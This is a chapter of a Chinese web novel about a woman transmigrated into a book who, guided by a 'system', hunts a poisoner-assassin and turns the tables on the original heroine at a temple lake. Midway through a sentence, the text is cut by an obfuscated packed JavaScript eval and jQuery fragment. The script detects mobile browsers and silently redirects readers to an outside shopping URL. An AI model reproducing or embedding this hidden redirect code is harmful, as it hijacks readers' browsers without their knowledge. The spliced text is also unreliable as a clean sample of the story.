18. 这一世,她又端着酒盏来了。^^……
作品:《当我和恶毒婆婆穿书后》 “宿主小心被他发现你来赌坊的目的,否则查刺客不成,反而惹他生疑……”
系统小声提醒。
好……棠梨点了点头,心中暗自筹划如何脱身。
紫色老妇人一看到鬼面公子手中的令牌一下子换上另一副脸色,长满褶子的面上立刻挤出殷勤的笑容。
“原来是公子家的娘子呀,是小的老眼昏花,竟没认出来……来人,还不快给公子添上两倍的筹码赔罪!”
说着,她便拍拍手叫上来两个小厮,将新的筹码放到朱雀椅子面前,随后便谄媚地说了几句公子玩的高兴,便退下了。
带着鬼面具的“闻书玉”扫了一眼棠梨,唤了声木娘,便伸手熟练地搂着她走到朱雀椅子旁,一副纨绔子弟的风流模样。
宽大的手掌握住棠梨盈盈纤细的腰,稳住她的身形,让她在自己腿上坐下。
“妙善大师,别想输了钱就跑,还不快再加些筹码!今日奴家必要玩个痛快。”
白扇眼尖地喊住想趁乱想开溜的高僧,妙善打量着桌上众人,明白自己这回真的开脱不了了,只能擦擦手心的冷汗,回道椅子上坐定。
昏暗的赌坊内,一种无声的压迫气氛弥漫在空气中。
描着金漆的红木筹码被推倒发出沉闷的声响,新的筹码在桌上四人之间流转,掷出的玲珑玉骰子在空中跳动,转了几圈,最后停在一角不动了。
“公子,你输了。”
棠梨用眼神描摹着“闻书玉”的侧颜,他眼中一片沉寂,仿若看不透的深潭,随手便又推倒了面前的金色木条。
“只添筹码又有何趣?既然今日带了舞女,罚酒一杯如何?”
白扇捻着细密的尖牙,目光阴翳道:“难不成她……”
棠梨知道这个叫白扇的不是个轻易被糊弄的人,如果此时再拒绝,那她和闻书玉会一同暴露,到时更难收场。
赌场里空气混浊,灯光摇曳,棠梨端着酒盏转过身来,指尖的薄红在昏暗的屋内十分明显。
闻书玉盯着这一抹薄红,呼吸渐渐乱了节奏。
上辈子也是这样,在一个杂乱的赌场内,他来查案,她来假扮舞女,嘴唇柔软,粘着醉人的酒液擦过他的唇角。
那一瞬间,烫的他心跳如鼓,也生出来一团乱麻的爱恨纠葛。
这一世,她又端着酒盏来了。
闻书玉袖中的手死死扣着掌心,几乎扣进肉里。他不自觉屏住呼吸,眼神粘在棠梨端着酒盏移动的手上,迫切等待着那熟悉的,让人迷恋的触碰。
只要她敢碰,只要她像上辈子一样……
棠梨停在他跟前。
她手腕一抬,酒盏稳稳凑到他唇边,动作流利完全不拖泥带水,像是随手施舍给路边的乞丐。
没有停顿,没有迟疑,甚至连指尖都没有往他嘴唇上偏个分毫。
闻书玉下意识张嘴,酒液滑进喉咙,辣的人生疼。
“……”
棠梨收回手,连个多余的眼神也没留给他。
闻书玉愣在原地,原本紧绷的身体一下子放松下来,才发觉掌心被自己攥的生疼,可比这更疼的是心里突然塌的那一块儿。
她没有碰他,没有像上辈子那样让他心跳加速,也没有让他陷入那种既期待又害怕的紧张中。
闻书玉原本怕得要死,怕她碰,怕她勾,怕重蹈覆辙。可真当她像看陌生人一样把他推开时,他才发现自己失望极了。
原来最折磨人的,不是旧情复燃,是她连演戏都懒得演了。
棠梨对他,真的已经没有一点感情了吗?
——
翌日清晨
当第一缕金色的初曦洒落在万善寺的屋檐上,古老沉闷的钟声唤醒了沉睡的山林。
万善寺位于京城西南香山的半山腰,四季景色宜人,据说这里的菩萨许愿特别灵,吸引了往来许多人。
这不,天刚蒙蒙亮,万善寺内便被鼎盛的香火笼罩,熙熙攘攘的香客挤满了大殿。
棠梨闭着眼睛,跪坐菩萨面前的软榻上,合并双掌,像个虔诚的信徒。
良久,她掂起鹅黄色的衣裙起身,走出大殿,沿着寺院的壁画,慢慢描摹寺庙周围的环境。
“统老师,我在这寺中逛一圈,倒没发现什么异常……”
少女蹙着细眉,神情若有所思。
昨日赌场散后,棠梨便立即找借口甩开了闻书玉。
一方面是,实在不知道该如何跟攻略目标相处,上辈子她跟男人都没说过几句话,另一方面是她想去找那个小男孩。
当时,他只抓着妙善大师的衣衫求救,或许从他那里可以得到一些刺客线索。
于是,棠梨在黄昏时趁着店主老妇人离开,翻入后院,在柴房里找到被关着的小男孩。
那饥肠辘辘的小孩一开始还十分警惕,后来饿的实在受不了,便抱着她买来的胡饼,在角落里狼吞虎咽的吃完。
男孩名叫小硕,他告诉棠梨,他之所以抓着妙善大师的衣袖不放,是因为他身上有一种危险的味道。
“危险的味道?”
“阿姐要打我,我没地方跑了,我的鼻子很灵……
我闻到他身上有一股刺鼻的味道,很呛人……闻久了还有一点头晕……
阿姐她最怕这味道了……每次赌坊来了和他身上同样味道的客人,她都不敢抬头看……”
小朔抱着腿,颤抖着缩在角落道。
究竟是什么味道?
既然是妙善大师身上的,难道是血腥气?……
“是紫霞仙人。”
脑海中沉默的系统开口,“贤王刺客最擅长的暗杀方式。
紫霞仙人是一种毒草,花型似杯,色若晚霞,若不幸误食,只需片刻便会穿成破肚而亡,十分狠辣。”
看来,妙善便是贤王余孽刺客了……
抓住了他,或许原书中毒死幼帝的情节便不会发生了。
万善寺内。
“妙善到底藏哪儿去了?”
棠梨扬起手帕遮挡毒辣的日光,她都已经在寺中搜寻了半日,始终不见那个刺客的身影。
妙善身为万善寺的住持,不会无缘无故的失踪,难道他是提前察觉到了什么,躲了起来?
“呦,这不是那个被赶出府的贱婢吗?还活着呢?”
棠梨一瞥眼就看到身着华服的九小姐走过来,旁边是手捧檀香的婢女。
“怎么?后悔提出要和离了?都跑到万善寺求姻缘了?”
九小姐嗤笑着,指着面前的女人嘲笑道。
上次一开局就被赶出府后,系统告诉棠梨,之所以九小姐这么对待原身,是因为原文作者的狗血爱情线。
九小姐是原书女主,拥有高贵的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322464|198935||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出身和数不清的爱。男主沈墨是年少有名的将军,二人原本是上天入地般配的一对。
可偏偏作者爱乱扯红线,给男主增加红颜,让女主挨个吃醋,一次次闹分手,好水长文字数。
而棠梨,就是渣男主沈墨十分嫌弃,看不上眼的前未婚妻,遂被赶回娘家。
九小姐就是因为吃醋,又把棠梨赶出府外流浪。
真是倒霉,做个支线任务还能碰到一起……
棠梨抬头看身后的偏殿的匾额,不知不觉地,她正巧停步在管姻缘的菩萨殿前。
原来九小姐发难又是因为身上搞雌竞的设定显现了。
上次老娘一直忍你,现在看我不恶心死你。
棠梨翻了个白眼,双手抱在胸前,笑盈盈道。
“是啊,那日回去以后我就后悔了。沈将军英武非凡,我实在是舍不得离开我这么好的夫君……”
面前的九小姐气的脸色狰狞,头上的珠钗乱颤。
“你!……
谁人不知你在府中就是个卑贱的家奴!还真把自己当将军夫夫人了?!”
“一日没有退婚,我就是将军府名正言顺的夫人,你便一日不能做他的正妻。”
“你闭嘴!”
偏殿位于寺中一隅,还临近湖边,常年十分冷清。
于是,四下无人,九小姐像往常一样,教训这个不顺眼的贱妇。她抬起手冲着面前的女人的脸扇了一掌。
但棠梨没有像往日那般唯唯诺诺跪下来求饶。
只见她没有片刻犹豫,便快步上前,攥住九小姐衣领,让她无法挣扎,最后反手就是狠狠两巴掌。
“啪!啪!”
九小姐被吓到呆愣住了,这个卑贱之人竟敢动手打她?!
棠梨撒开她的衣领,原身不愧是屠夫之女,遗传的手劲儿就是大,很快九小姐的脸便肿了起来。
“贱妇!你疯了不成?!”
跌坐在地的九小姐脸色变的狰狞,怒骂道。
棠梨慢条斯理的拿出手帕擦干净手,然后丢到地上,这才抬眼冷静地看着施暴不成反被制裁的原书女主。
“?你还敢挑衅我?”
面前之人恼羞成怒,伸手就要推搡棠梨。
棠梨敏锐地瞥向不远处,她知道那里有个隐在月色里窥视一切的男人,于是她刹那间,灵机一动。
只见她眼疾手快地拉着九小姐的手,仰身一起倒入湖中,任凭冰冷刺骨的湖水渐渐吞没二人。
“你!……咕噜……咕噜……”
九小姐在水中拼命挣扎着,眼中充满惊愕,她不敢相信发生了什么。
这贱妇莫不是疯了不成?!
挑衅她就算了,还要拉着她一起跳湖?
可她不通水性啊!
棠梨浮出水面,借着九小姐的身形遮挡,狠狠往自己脸上抽了一巴掌,瞬间脸庞便红肿一片。
“?!”
九小姐看呆了,才反应过来她被做局了!
早知这贱妇脑子有病,就不该惹她的!
后悔,九小姐现在就是非常后悔……
系统也呆愣住了,说话声音都一卡一卡的。
“宿主,你这是……?”
走绿茶的路,让绿茶无路可走!棠梨嘴角疯狂上扬,心中胸有成竹。
且看我,如何扭转这一局。

